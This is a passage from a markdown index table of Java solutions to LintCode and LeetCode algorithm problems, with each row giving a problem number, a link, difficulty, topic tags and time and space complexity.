II.java](https://github.com/awangdev/LintCode/blob/master/Java/Sort%20Colors%20II.java)|Medium|[Partition, Quick Sort, Sort, Two Pointers]|||Java|195| |N/A|[Maximum Subarray III.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximum%20Subarray%20III.java)|Review|[]|||Java|196| |N/A|[Path Sum II.java](https://github.com/awangdev/LintCode/blob/master/Java/Path%20Sum%20II.java)|Easy|[Backtracking, DFS, Tree]|||Java|197| |N/A|[Segment Tree Query II.java](https://github.com/awangdev/LintCode/blob/master/Java/Segment%20Tree%20Query%20II.java)|Medium|[Binary Tree, DFS, Divide and Conquer, Lint, Segment Tree]|||Java|198| |N/A|[Shortest Distance from All Buildings.java](https://github.com/awangdev/LintCode/blob/master/Java/Shortest%20Distance%20from%20All%20Buildings.java)|Hard|[BFS]|||Java|199| |N/A|[Brick Wall.java](https://github.com/awangdev/LintCode/blob/master/Java/Brick%20Wall.java)|Medium|[Hash Table]|O(mn)|O(X), X = max wall width|Java|200| |N/A|[Longest Increasing Path in a Matrix.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Increasing%20Path%20in%20a%20Matrix.java)|Hard|[Coordinate DP, DFS, DP, Memoization, Topological Sort]|||Java|201| |N/A|[Interleaving String.java](https://github.com/awangdev/LintCode/blob/master/Java/Interleaving%20String.java)|Hard|[DP, String]|||Java|202| |N/A|[Shuffle an Array.java](https://github.com/awangdev/LintCode/blob/master/Java/Shuffle%20an%20Array.java)|Medium|[Permutation]|||Java|203| |N/A|[Recover Binary Search Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Recover%20Binary%20Search%20Tree.java)|Hard|[BST, DFS, Tree]|||Java|204| |N/A|[My Calendar I.java](https://github.com/awangdev/LintCode/blob/master/Java/My%20Calendar%20I.java)|Medium|[Array, TreeMap]|||Java|205| |N/A|[Evaluate Reverse Polish Notation.java](https://github.com/awangdev/LintCode/blob/master/Java/Evaluate%20Reverse%20Polish%20Notation.java)|Medium|[Stack]|O(n)|O(n)|Java|206| |N/A|[Counting Bits.java](https://github.com/awangdev/LintCode/blob/master/Java/Counting%20Bits.java)|Medium|[Bit Manipulation, Bitwise DP, DP]|||Java|207| |N/A|[Sort Letters by Case.java](https://github.com/awangdev/LintCode/blob/master/Java/Sort%20Letters%20by%20Case.java)|Medium|[Partition, Sort, String, Two Pointers]|||Java|208| |N/A|[Two Strings Are Anagrams.java](https://github.com/awangdev/LintCode/blob/master/Java/Two%20Strings%20Are%20Anagrams.java)|Easy|[]|||Java|209| |N/A|[Two Sum II - Input array is sorted.java](https://github.com/awangdev/LintCode/blob/master/Java/Two%20Sum%20II%20-%20Input%20array%20is%20sorted.java)|Medium|[Array, Binary Search, Two Pointers]|||Java|210| |N/A|[[HackerRank]. Change to Anagram.java](https://github.com/awangdev/LintCode/blob/master/Java/[HackerRank].%20Change%20to%20Anagram.java)|Easy|[String]|||Java|211| |N/A|[Implement Queue using Stacks.java](https://github.com/awangdev/LintCode/blob/master/Java/Implement%20Queue%20using%20Stacks.java)|Easy|[Design, Stack]|||Java|212| |N/A|[Basic Calculator.java](https://github.com/awangdev/LintCode/blob/master/Java/Basic%20Calculator.java)|Hard|[Binary Tree, Expression Tree, Math, Minimum Binary Tree, Stack]|||Java|213| |N/A|[Word Squares.java](https://github.com/awangdev/LintCode/blob/master/Java/Word%20Squares.java)|Hard|[Backtracking, Trie]|||Java|214| |N/A|[Insertion Sort List.java](https://github.com/awangdev/LintCode/blob/master/Java/Insertion%20Sort%20List.java)|Medium|[Linked List, Sort]|||Java|215| |N/A|[Interval Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/Interval%20Sum.java)|Medium|[Binary Search, Lint, Segment Tree]|||Java|216| |N/A|[Strobogrammatic Number II.java](https://github.com/awangdev/LintCode/blob/master/Java/Strobogrammatic%20Number%20II.java)|Medium|[DFS, Enumeration, Math, Sequence DFS]|||Java|217| |N/A|[The Maze II.java](https://github.com/awangdev/LintCode/blob/master/Java/The%20Maze%20II.java)|Medium|[BFS, DFS, PriorityQueue]|||Java|218| |N/A|[k Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/k%20Sum.java)|Hard|[DP]|||Java|219| |N/A|[Coins in a Line III.java](https://github.com/awangdev/LintCode/blob/master/Java/Coins%20in%20a%20Line%20III.java)|Hard|[Array, DP, Game Theory, Interval DP, Memoization]|||Java|220| |N/A|[Convert Sorted List to Binary Search Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Convert%20Sorted%20List%20to%20Binary%20Search%20Tree.java)|Medium|[BST, DFS, Divide and Conquer, Linked List]|||Java|221| |N/A|[Guess Number Higher or Lower.java](https://github.com/awangdev/LintCode/blob/master/Java/Guess%20Number%20Higher%20or%20Lower.java)|Easy|[Binary Search]|||Java|222| |N/A|[Trapping Rain Water II.java](https://github.com/awangdev/LintCode/blob/master/Java/Trapping%20Rain%20Water%20II.java)|Hard|[BFS, Heap, MinHeap, PriorityQueue]|||Java|223| |N/A|[Bricks Falling When Hit.java](https://github.com/awangdev/LintCode/blob/master/Java/Bricks%20Falling%20When%20Hit.java)|Hard|[Union Find]|||Java|224| |N/A|[Subarray Sum Closest.java](https://github.com/awangdev/LintCode/blob/master/Java/Subarray%20Sum%20Closest.java)|Medium|[PreSum, PriorityQueue, Sort, Subarray]|O(nlogn)|O(n)|Java|225| |N/A|[Burst Balloons.java](https://github.com/awangdev/LintCode/blob/master/Java/Burst%20Balloons.java)|Hard|[DP, Divide and Conquer, Interval DP, Memoization]|||Java|226| |N/A|[Partition Array by Odd and Even.java](https://github.com/awangdev/LintCode/blob/master/Java/Partition%20Array%20by%20Odd%20and%20Even.java)|Easy|[Array, Two Pointers]|||Java|227| |N/A|[Best Time to Buy and Sell Stock with Cooldown.java](https://github.com/awangdev/LintCode/blob/master/Java/Best%20Time%20to%20Buy%20and%20Sell%20Stock%20with%20Cooldown.java)|Medium|[DP]|||Java|228| |N/A|[Palindrome Partitioning II.java](https://github.com/awangdev/LintCode/blob/master/Java/Palindrome%20Partitioning%20II.java)|Hard|[DP, Partition DP]|||Java|229| |N/A|[Convert Binary Search Tree to Sorted Doubly Linked List (extra space).java](https://github.com/awangdev/LintCode/blob/master/Java/Convert%20Binary%20Search%20Tree%20to%20Sorted%20Doubly%20Linked%20List%20(extra%20space).java)|Medium|[Linked List, Stack, Tree]|O(n)|O(n)|Java|230| |N/A|[Kth Largest Element in an Array.java](https://github.com/awangdev/LintCode/blob/master/Java/Kth%20Largest%20Element%20in%20an%20Array.java)|Medium|[Divide and Conquer, Heap, MinHeap, PriorityQueue, Quick Sort]|||Java|231| |N/A|[Sliding Puzzle.java](https://github.com/awangdev/LintCode/blob/master/Java/Sliding%20Puzzle.java)|Hard|[BFS, Graph]|||Java|232| |N/A|[Interval Sum II.java](https://github.com/awangdev/LintCode/blob/master/Java/Interval%20Sum%20II.java)|Hard|[Binary Search, Lint, Segment Tree]|||Java|233| |N/A|[Add Digits.java](https://github.com/awangdev/LintCode/blob/master/Java/Add%20Digits.java)|Easy|[Math]|||Java|234| |N/A|[HashWithCustomizedClass(LinkedList).java](https://github.com/awangdev/LintCode/blob/master/Java/HashWithCustomizedClass(LinkedList).java)|Medium|[Hash Table]|||Java|235| |N/A|[Maximum Vacation Days.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximum%20Vacation%20Days.java)|Hard|[DP]|||Java|236| |N/A|[Smallest Subtree with all the Deepest Nodes.java](https://github.com/awangdev/LintCode/blob/master/Java/Smallest%20Subtree%20with%20all%20the%20Deepest%20Nodes.java)|Medium|[DFS, Divide and Conquer, Tree]|O(n)|O(n)|Java|237| |N/A|[Kth Smallest Element in a Sorted Matrix.java](https://github.com/awangdev/LintCode/blob/master/Java/Kth%20Smallest%20Element%20in%20a%20Sorted%20Matrix.java)|Medium|[Binary Search, Heap]|O(n + klogn)|O(n)|Java|238| |N/A|[Combination Sum III.java](https://github.com/awangdev/LintCode/blob/master/Java/Combination%20Sum%20III.java)|Medium|[Array, Backtracking, Combination, DFS]|||Java|239| |N/A|[Last Position of Target.java](https://github.com/awangdev/LintCode/blob/master/Java/Last%20Position%20of%20Target.java)|Easy|[Binary Search]|||Java|240| |N/A|[Path Sum III.java](https://github.com/awangdev/LintCode/blob/master/Java/Path%20Sum%20III.java)|Easy|[DFS, Double Recursive, Tree]|||Java|241| |N/A|[Convert Expression to Reverse Polish Notation.java](https://github.com/awangdev/LintCode/blob/master/Java/Convert%20Expression%20to%20Reverse%20Polish%20Notation.java)|Hard|[Binary Tree, DFS, Expression Tree, Stack]|||Java|242| |N/A|[Complete Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Complete%20Binary%20Tree.java)|Easy|[BFS, Tree]|||Java|243| |N/A|[Best Time to Buy and Sell Stock with Transaction Fee.java](https://github.com/awangdev/LintCode/blob/master/Java/Best%20Time%20to%20Buy%20and%20Sell%20Stock%20with%20Transaction%20Fee.java)|Medium|[Array, DP, Greedy, Sequence DP, Status DP]|O(n)|O(n), O(1) rolling array|Java|244| |N/A|[Pow(x, n).java](https://github.com/awangdev/LintCode/blob/master/Java/Pow(x,%20n).java)|Medium|[Binary Search, Math]|||Java|245| |N/A|[Maximum Subarray II.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximum%20Subarray%20II.java)|Medium|[Array, DP, Greedy, PreSum, Sequence DP, Subarray]|||Java|246| |N/A|[Sort Colors.java](https://github.com/awangdev/LintCode/blob/master/Java/Sort%20Colors.java)|Medium|[Array, Partition, Quick Sort, Sort, Two Pointers]|||Java|247| |N/A|[Word Ladder II.java](https://github.com/awangdev/LintCode/blob/master/Java/Word%20Ladder%20II.java)|Hard|[Array, BFS, Backtracking, DFS, Hash Table, String]|||Java|248| |N/A|[Sum of Two Integers.java](https://github.com/awangdev/LintCode/blob/master/Java/Sum%20of%20Two%20Integers.java)|Easy|[Bit Manipulation]|||Java|249| |N/A|[Predict the Winner.java](https://github.com/awangdev/LintCode/blob/master/Java/Predict%20the%20Winner.java)|Medium|[DP, MiniMax]|||Java|250| |N/A|[Connecting Graph II.java](https://github.com/awangdev/LintCode/blob/master/Java/Connecting%20Graph%20II.java)|Medium|[Union Find]|||Java|251| |N/A|[Search Insert Position.java](https://github.com/awangdev/LintCode/blob/master/Java/Search%20Insert%20Position.java)|Easy|[]|||Java|252| |N/A|[Longest Univalue Path.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Univalue%20Path.java)|Easy|[]|||Java|253| |N/A|[Contains Duplicate III.java](https://github.com/awangdev/LintCode/blob/master/Java/Contains%20Duplicate%20III.java)|Medium|[BST]|||Java|254| |N/A|[Spiral Matrix.java](https://github.com/awangdev/LintCode/blob/master/Java/Spiral%20Matrix.java)|Medium|[Array, Enumeration]|||Java|255| |N/A|[Next Closest Time.java](https://github.com/awangdev/LintCode/blob/master/Java/Next%20Closest%20Time.java)|Medium|[Basic Implementation, Enumeration, String]|||Java|256| |N/A|[Group Shifted Strings.java](https://github.com/awangdev/LintCode/blob/master/Java/Group%20Shifted%20Strings.java)|Medium|[Hash Table, String]|||Java|257| |N/A|[The Maze III.java](https://github.com/awangdev/LintCode/blob/master/Java/The%20Maze%20III.java)|Hard|[BFS, DFS, PriorityQueue]|||Java|258| |N/A|[Coins in a Line.java](https://github.com/awangdev/LintCode/blob/master/Java/Coins%20in%20a%20Line.java)|Medium|[DP, Game Theory, Greedy]|||Java|259| |N/A|[Binary Tree Longest Consecutive Sequence.java](https://github.com/awangdev/LintCode/blob/master/Java/Binary%20Tree%20Longest%20Consecutive%20Sequence.java)|Medium|[DFS, Divide and Conquer, Tree]|||Java|260| |N/A|[The Spiral Matrix II.java](https://github.com/awangdev/LintCode/blob/master/Java/The%20Spiral%20Matrix%20II.java)|Medium|[Array]|||Java|261| |N/A|[Trim a Binary Search Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Trim%20a%20Binary%20Search%20Tree.java)|Easy|[BST, Tree]|||Java|262| |N/A|[Number Of Corner Rectangles.java](https://github.com/awangdev/LintCode/blob/master/Java/Number%20Of%20Corner%20Rectangles.java)|Medium|[DP, Math]|||Java|263| |N/A|[Queue Reconstruction by Height.java](https://github.com/awangdev/LintCode/blob/master/Java/Queue%20Reconstruction%20by%20Height.java)|Medium|[Greedy]|||Java|264| |N/A|[Minimum Swaps To Make Sequences Increasing.java](https://github.com/awangdev/LintCode/blob/master/Java/Minimum%20Swaps%20To%20Make%20Sequences%20Increasing.java)|Medium|[Coordinate DP, DP, Status DP]|||Java|265| |N/A|[Interleaving Positive and Negative Numbers.java](https://github.com/awangdev/LintCode/blob/master/Java/Interleaving%20Positive%20and%20Negative%20Numbers.java)|Medium|[Two Pointers]|||Java|266| |N/A|[Path Sum IV.java](https://github.com/awangdev/LintCode/blob/master/Java/Path%20Sum%20IV.java)|Medium|[DFS, Hash Table, Tree]|||Java|267| |N/A|[Excel Sheet Column Number.java](https://github.com/awangdev/LintCode/blob/master/Java/Excel%20Sheet%20Column%20Number.java)|Easy|[Math]|||Java|268| |N/A|[Target Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/Target%20Sum.java)|Medium|[DFS, DP]|||Java|269| |N/A|[Partition Array.java](https://github.com/awangdev/LintCode/blob/master/Java/Partition%20Array.java)|Medium|[Array, Quick Sort, Sort, Two Pointers]|||Java|270| |N/A|[Bus Routes.java](https://github.com/awangdev/LintCode/blob/master/Java/Bus%20Routes.java)|Hard|[BFS]|||Java|271| |N/A|[Max Sum of Rectangle No Larger Than K.java](https://github.com/awangdev/LintCode/blob/master/Java/Max%20Sum%20of%20Rectangle%20No%20Larger%20Than%20K.java)|Hard|[Array, BST, Binary Search, DP, Queue, TreeSet]|||Java|272| |N/A|[String Permutation.java](https://github.com/awangdev/LintCode/blob/master/Java/String%20Permutation.java)|Easy|[]|||Java|273| |N/A|[Maximum XOR of Two Numbers in an Array.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximum%20XOR%20of%20Two%20Numbers%20in%20an%20Array.java)|Medium|[Bit Manipulation, Trie]|||Java|274| |N/A|[Search for a Range.java](https://github.com/awangdev/LintCode/blob/master/Java/Search%20for%20a%20Range.java)|Medium|[Array, Binary Search]|||Java|275| |N/A|[Palindrome Permutation II.java](https://github.com/awangdev/LintCode/blob/master/Java/Palindrome%20Permutation%20II.java)|Medium|[Backtracking, Permutation]|||Java|276| |N/A|[Populating Next Right Pointers in Each Node II.java](https://github.com/awangdev/LintCode/blob/master/Java/Populating%20Next%20Right%20Pointers%20in%20Each%20Node%20II.java)|Medium|[DFS, Tree]|O(n)|O(1)|Java|277| |N/A|[Nim Game.java](https://github.com/awangdev/LintCode/blob/master/Java/Nim%20Game.java)|Easy|[Brainteaser, DP, Game Theory]|||Java|278| |N/A|[Search a 2D Matrix.java](https://github.com/awangdev/LintCode/blob/master/Java/Search%20a%202D%20Matrix.java)|Medium|[Array, Binary Search]|||Java|279| |N/A|[Largest Rectangle in Histogram.java](https://github.com/awangdev/LintCode/blob/master/Java/Largest%20Rectangle%20in%20Histogram.java)|Hard|[Array, Monotonous Stack, Stack]|||Java|280| |[lint]|[[lint]. Merge k Sorted Arrays.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Merge%20k%20Sorted%20Arrays.java)|Medium|[Heap, MinHeap, PriorityQueue]|O(nlogk)|O(k)|Java|281| |[lint]|[[lint]. Segment Tree Build II.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Segment%20Tree%20Build%20II.java)|Medium|[Binary Tree, Divide and Conquer, Lint, Segment Tree]|||Java|282| |[lint]|[[lint]. Nth to Last Node in List.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Nth%20to%20Last%20Node%20in%20List.java)|Easy|[Linked List, Lint]|||Java|283| |[lint]|[[lint]. Product of Array Exclude Itself.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Product%20of%20Array%20Exclude%20Itself.java)|Medium|[Array, Lint]|||Java|284| |[lint]|[[lint]. Compare Strings.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Compare%20Strings.java)|Easy|[Lint, String]|||Java|285| |[lint]|[[lint]. Segment Tree Query.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Segment%20Tree%20Query.java)|Medium|[Binary Tree, DFS, Divide and Conquer, Lint, Segment Tree]|||Java|286| |[lint]|[[lint]. HashHeap.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20HashHeap.java)|Hard|[HashHeap, Heap, Lint]|||Java|287| |[lint]|[[lint]. Longest Words.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Longest%20Words.java)|Easy|[Hash Table, Lint, String]|||Java|288| |[lint]|[[lint]. Anagrams.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Anagrams.java)|Medium|[Array, Hash Table, Lint]|O(n)|O(n)|Java|289| |[lint]|[[lint]. 3 Sum Closest.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%203%20Sum%20Closest.java)|Medium|[Array, Lint, Two Pointers]|||Java|290| |[lint]|[[lint]. Unique Characters.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Unique%20Characters.java)|Easy|[Array, Lint, String]|||Java|291| |[lint]|[[lint]. Lowest Common Ancestor II.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Lowest%20Common%20Ancestor%20II.java)|Easy|[Hash Table, Lint, Tree]|||Java|292| |[lint]|[[lint]. Heapify.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Heapify.java)|Medium|[HashHeap, Heap, Lint, MinHeap]|||Java|293| |[lint]|[[lint]. Subarray Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Subarray%20Sum.java)|Easy|[Array, Hash Table, Lint, PreSum, Subarray]|O(n)|O(n)|Java|294| |[lint]|[[lint]. Recover Rotated Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Recover%20Rotated%20Sorted%20Array.java)|Easy|[Array, Lint]|||Java|295| |[lint]|[[lint]. 2 Sum II.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%202%20Sum%20II.java)|Medium|[Array, Binary Search, Lint, Two Pointers]|||Java|296| |[lint]|[[lint]. Segment Tree Build.java](https://github.com/awangdev/LintCode/blob/master/Java/[lint].%20Segment%20Tree%20Build.java)|Medium|[Binary Tree, Divide and Conquer, Lint, Segment Tree]|||Java|297| |[tool]|[[tool]. MergeSort.java](https://github.com/awangdev/LintCode/blob/master/Java/[tool].%20MergeSort.java)|Medium|[Lint, Merge Sort, Sort]|O(mlogn)|O(n)|Java|298| |[tool]|[[tool]. Hash Function.java](https://github.com/awangdev/LintCode/blob/master/Java/[tool].%20Hash%20Function.java)|Easy|[Hash Table, Lint]|O(1) get|O(n) store map|Java|299| |[tool]|[[tool]. UnionFind.java](https://github.com/awangdev/LintCode/blob/master/Java/[tool].%20UnionFind.java)|Medium|[Lint, Union Find]|O(n), with Path Compression O(mN), with Union by Rank O(logN)|O(n)|Java|300| |[tool]|[[tool]. Topological Sorting.java](https://github.com/awangdev/LintCode/blob/master/Java/[tool].%20Topological%20Sorting.java)|Medium|[BFS, DFS, Lint, Topological Sort]|O(V + E)|O(V + E)|Java|301| |36|[36. Valid Sudoku.java](https://github.com/awangdev/LintCode/blob/master/Java/36.%20Valid%20Sudoku.java)|Easy|[Enumeration, Hash Table]|(mn)|(mn)|Java|302| |359|[359. Logger Rate Limiter.java](https://github.com/awangdev/LintCode/blob/master/Java/359.%20Logger%20Rate%20Limiter.java)|Easy|[Design, Hash Table]|O(1)|O(n)|Java|303| |198|[198. House Robber.java](https://github.com/awangdev/LintCode/blob/master/Java/198.%20House%20Robber.java)|Easy|[DP, Sequence DP, Status DP]|O(n)|O(n) or rolling array O(1)|Java|304| |21|[21. Merge Two Sorted Lists.java](https://github.com/awangdev/LintCode/blob/master/Java/21.%20Merge%20Two%20Sorted%20Lists.java)|Easy|[Linked List]|O(n)|O(1)|Java|305| |102|[102. Binary Tree Level Order Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/102.%20Binary%20Tree%20Level%20Order%20Traversal.java)|Medium|[BFS, DFS, Tree]|O(n)|O(n)|Java|306| |788|[788. Rotated Digits.java](https://github.com/awangdev/LintCode/blob/master/Java/788.%20Rotated%20Digits.java)|Easy|[Basic Implementation, String]|O(n)|O(n)|Java|307| |42|[42. Trapping Rain Water.java](https://github.com/awangdev/LintCode/blob/master/Java/42.%20Trapping%20Rain%20Water.java)|Hard|[Array, Stack, Two Pointers]|O(n)|O(1)|Java|308| |347|[347. Top K Frequent Elements.java](https://github.com/awangdev/LintCode/blob/master/Java/347.%20Top%20K%20Frequent%20Elements.java)|Medium|[Hash Table, Heap, MaxHeap, MinHeap, PriorityQueue]|O(n)|O(n)|Java|309| |269|[269. Alien Dictionary.java](https://github.com/awangdev/LintCode/blob/master/Java/269.%20Alien%20Dictionary.java)|Hard|[BFS, Backtracking, DFS, Graph, Topological Sort]|O(n), n = # of graph edges|O(n)|Java|310| |237|[237. Delete Node in a Linked List.java](https://github.com/awangdev/LintCode/blob/master/Java/237.%20Delete%20Node%20in%20a%20Linked%20List.java)|Easy|[Linked List]|||Java|311| |142|[142. Linked List Cycle II.java](https://github.com/awangdev/LintCode/blob/master/Java/142.%20Linked%20List%20Cycle%20II.java)|Medium|[Cycle Detection, Linked List, Slow Fast Pointer, Two Pointers]|O(n)|O(1)|Java|312| |448|[448. Find All Numbers Disappeared in an Array.java](https://github.com/awangdev/LintCode/blob/master/Java/448.%20Find%20All%20Numbers%20Disappeared%20in%20an%20Array.java)|Easy|[Array, Bucket Sort]|O(n)|O(1)|Java|313| |360|[360. Sort Transformed Array.java](https://github.com/awangdev/LintCode/blob/master/Java/360.%20Sort%20Transformed%20Array.java)|Medium|[Math, Two Pointers]|O(n)|O(n) store result|Java|314| |22|[22. Generate Parentheses.java](https://github.com/awangdev/LintCode/blob/master/Java/22.%20Generate%20Parentheses.java)|Medium|[Backtracking, DFS, Sequence DFS, String]|O(2^n)|O(2^n)|Java|315| |849|[849. Maximize Distance to Closest Person.java](https://github.com/awangdev/LintCode/blob/master/Java/849.%20Maximize%20Distance%20to%20Closest%20Person.java)|Easy|[Array, Basic Implementation, Two Pointers]|O(n)|O(1)|Java|316| |408|[408. Valid Word Abbreviation.java](https://github.com/awangdev/LintCode/blob/master/Java/408.%20Valid%20Word%20Abbreviation.java)|Easy|[Basic Implementation, String]|||Java|317| |415|[415. Add Strings.java](https://github.com/awangdev/LintCode/blob/master/Java/415.%20Add%20Strings.java)|Easy|[Basic Implementation, Math, String]|O(n)|O(n)|Java|318| |83|[83. Remove Duplicates from Sorted List.java](https://github.com/awangdev/LintCode/blob/master/Java/83.%20Remove%20Duplicates%20from%20Sorted%20List.java)|Easy|[Linked List]|||Java|319| |1108|[1108. Defanging an IP Address.java](https://github.com/awangdev/LintCode/blob/master/Java/1108.%20Defanging%20an%20IP%20Address.java)|Easy|[Basic Implementation, String]|||Java|320| |1021|[1021. Remove Outermost Parentheses.java](https://github.com/awangdev/LintCode/blob/master/Java/1021.%20Remove%20Outermost%20Parentheses.java)|Easy|[Stack]|||Java|321| |236|[236. Lowest Common Ancestor of a Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/236.%20Lowest%20Common%20Ancestor%20of%20a%20Binary%20Tree.java)|Medium|[DFS, Tree]|O(n)|O(n)|Java|322| |766|[766. Toeplitz Matrix.java](https://github.com/awangdev/LintCode/blob/master/Java/766.%20Toeplitz%20Matrix.java)|Easy|[Array]|O(mn)|O(1)|Java|323| |953|[953. Verifying an Alien Dictionary.java](https://github.com/awangdev/LintCode/blob/master/Java/953.%20Verifying%20an%20Alien%20Dictionary.java)|Easy|[Hash Table]|O(nm)|O(1)|Java|324| |1053|[1053. Previous Permutation With One Swap.java](https://github.com/awangdev/LintCode/blob/master/Java/1053.%20Previous%20Permutation%20With%20One%20Swap.java)|Medium|[Array, Greedy, Permutation]|O(n)|O(1)|Java|325| |1213|[1213. Intersection of Three Sorted Arrays.java](https://github.com/awangdev/LintCode/blob/master/Java/1213.%20Intersection%20of%20Three%20Sorted%20Arrays.java)|Easy|[Hash Table, Two Pointers]|O(m + n + h) two pointers approach|O(1)|Java|326| |383|[383. Ransom Note.java](https://github.com/awangdev/LintCode/blob/master/Java/383.%20Ransom%20Note.java)|Easy|[Basic Implementation, String]|||Java|327| |56|[56. Merge Intervals.java](https://github.com/awangdev/LintCode/blob/master/Java/56.%20Merge%20Intervals.java)|Medium|[Array, PriorityQueue, Sort, Sweep Line]|O(nlogn)|O(n)|Java|328| |252|[252. Meeting Rooms.java](https://github.com/awangdev/LintCode/blob/master/Java/252.%20Meeting%20Rooms.java)|Easy|[PriorityQueue, Sort, Sweep Line]|O(nlogn)|O(1)|Java|329| |665|[665. Non-decreasing Array.java](https://github.com/awangdev/LintCode/blob/master/Java/665.%20Non-decreasing%20Array.java)|Easy|[Array]|O(n)|O(1)|Java|330| |843|[843. Guess the Word.java](https://github.com/awangdev/LintCode/blob/master/Java/843.%20Guess%20the%20Word.java)|Hard|[MiniMax]|TODO|TODO|Java|331| |986|[986. Interval List Intersections.java](https://github.com/awangdev/LintCode/blob/master/Java/986.%20Interval%20List%20Intersections.java)|Medium|[Two Pointers]|O(n)|O(1)|Java|332| |76|[76. Minimum Window Substring.java](https://github.com/awangdev/LintCode/blob/master/Java/76.%20Minimum%20Window%20Substring.java)|Hard|[Hash Table, Sliding Window, String, Two Pointers]|O(n)|O(1)|Java|333| |293|[293. Flip Game.java](https://github.com/awangdev/LintCode/blob/master/Java/293.%20Flip%20Game.java)|Easy|[String]|||Java|334| |244|[244. Shortest Word Distance II.java](https://github.com/awangdev/LintCode/blob/master/Java/244.%20Shortest%20Word%20Distance%20II.java)|Medium|[Array, Design, Hash Table, Two Pointers]|O(n) to build map, O(a + b) to query|O(n)|Java|335| |686|[686. Repeated String Match.java](https://github.com/awangdev/LintCode/blob/master/Java/686.%20Repeated%20String%20Match.java)|Easy|[Basic Implementation, Edge Case, String]|||Java|336| |80|[80.Remove Duplicates from Sorted Array II.java](https://github.com/awangdev/LintCode/blob/master/Java/80.Remove%20Duplicates%20from%20Sorted%20Array%20II.java)|Medium|[Array, Two Pointers]|||Java|337| |301|[301. Remove Invalid Parentheses.java](https://github.com/awangdev/LintCode/blob/master/Java/301.%20Remove%20Invalid%20Parentheses.java)|Hard|[BFS, DFS, DP]|||Java|338| |111|[111. Minimum Depth of Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/111.%20Minimum%20Depth%20of%20Binary%20Tree.java)|Easy|[BFS, DFS, Tree]|O(n)|O(n)|Java|339| |1216|[1216. Valid Palindrome III.java](https://github.com/awangdev/LintCode/blob/master/Java/1216.%20Valid%20Palindrome%20III.java)|Hard|[DFS, DP, Memoization, String]|O(n^2)|O(n^2)|Java|340| |7|[7. Reverse Integer.java](https://github.com/awangdev/LintCode/blob/master/Java/7.%20Reverse%20Integer.java)|Easy|[Math]|O(n)|O(1)|Java|341| |5|[5. Longest Palindromic Substring.java](https://github.com/awangdev/LintCode/blob/master/Java/5.%20Longest%20Palindromic%20Substring.java)|Medium|[DP, String]|O(n^2)|O(n^2)|Java|342| |303|[303. Range Sum Query - Immutable.java](https://github.com/awangdev/LintCode/blob/master/Java/303.%20Range%20Sum%20Query%20-%20Immutable.java)|Easy|[DP, PreSum]|O(1) query, O(n) setup|O(n)|Java|343| |674|[674. Longest Continuous Increasing Subsequence.java](https://github.com/awangdev/LintCode/blob/master/Java/674.%20Longest%20Continuous%20Increasing%20Subsequence.java)|Easy|[Array, Coordinate DP, DP, Sliding Window]|O(n)|O(1)|Java|344| |1007|[1007. Minimum Domino Rotations For Equal Row.java](https://github.com/awangdev/LintCode/blob/master/Java/1007.%20Minimum%20Domino%20Rotations%20For%20Equal%20Row.java)|Medium|[Array, Greedy]|O(n)|O(1)|Java|345| |485|[485. Max Consecutive Ones.java](https://github.com/awangdev/LintCode/blob/master/Java/485.%20Max%20Consecutive%20Ones.java)|Easy|[Array, Basic Implementation]|O(n)|O(1)|Java|346| |896|[896. Monotonic Array.java](https://github.com/awangdev/LintCode/blob/master/Java/896.%20Monotonic%20Array.java)|Easy|[Array]|||Java|347| |207|[207. Course Schedule.java](https://github.com/awangdev/LintCode/blob/master/Java/207.%20Course%20Schedule.java)|Medium|[BFS, Backtracking, DFS, Graph, Topological Sort]|O(n)|O(n)|Java|348| |327|[327. Count of Range Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/327.%20Count%20of%20Range%20Sum.java)|Hard|[BIT, Divide and Conquer, Merge Sort, PreSum, Segment Tree]|O(nlogn)|O(n)|Java|349| |987|[987. Vertical Order Traversal of a Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/987.%20Vertical%20Order%20Traversal%20of%20a%20Binary%20Tree.java)|Medium|[BFS, Binary Tree, DFS, Hash Table, Tree]|||Java|350| |26|[26.Remove Duplicates from Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/26.Remove%20Duplicates%20from%20Sorted%20Array.java)|Easy|[Array, Two Pointers]|||Java|351| |429|[429. N-ary Tree Level Order Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/429.%20N-ary%20Tree%20Level%20Order%20Traversal.java)|Medium|[BFS, Tree]|O(n)|O(n)|Java|352| |275|[275. H-Index II.java](https://github.com/awangdev/LintCode/blob/master/Java/275.%20H-Index%20II.java)|Medium|[Binary Search]|O(logN)|O(1) extra|Java|353| |204|[204. Count Primes.java](https://github.com/awangdev/LintCode/blob/master/Java/204.%20Count%20Primes.java)|Easy|[Hash Table, Math]|||Java|354| |58|[58. Length of Last 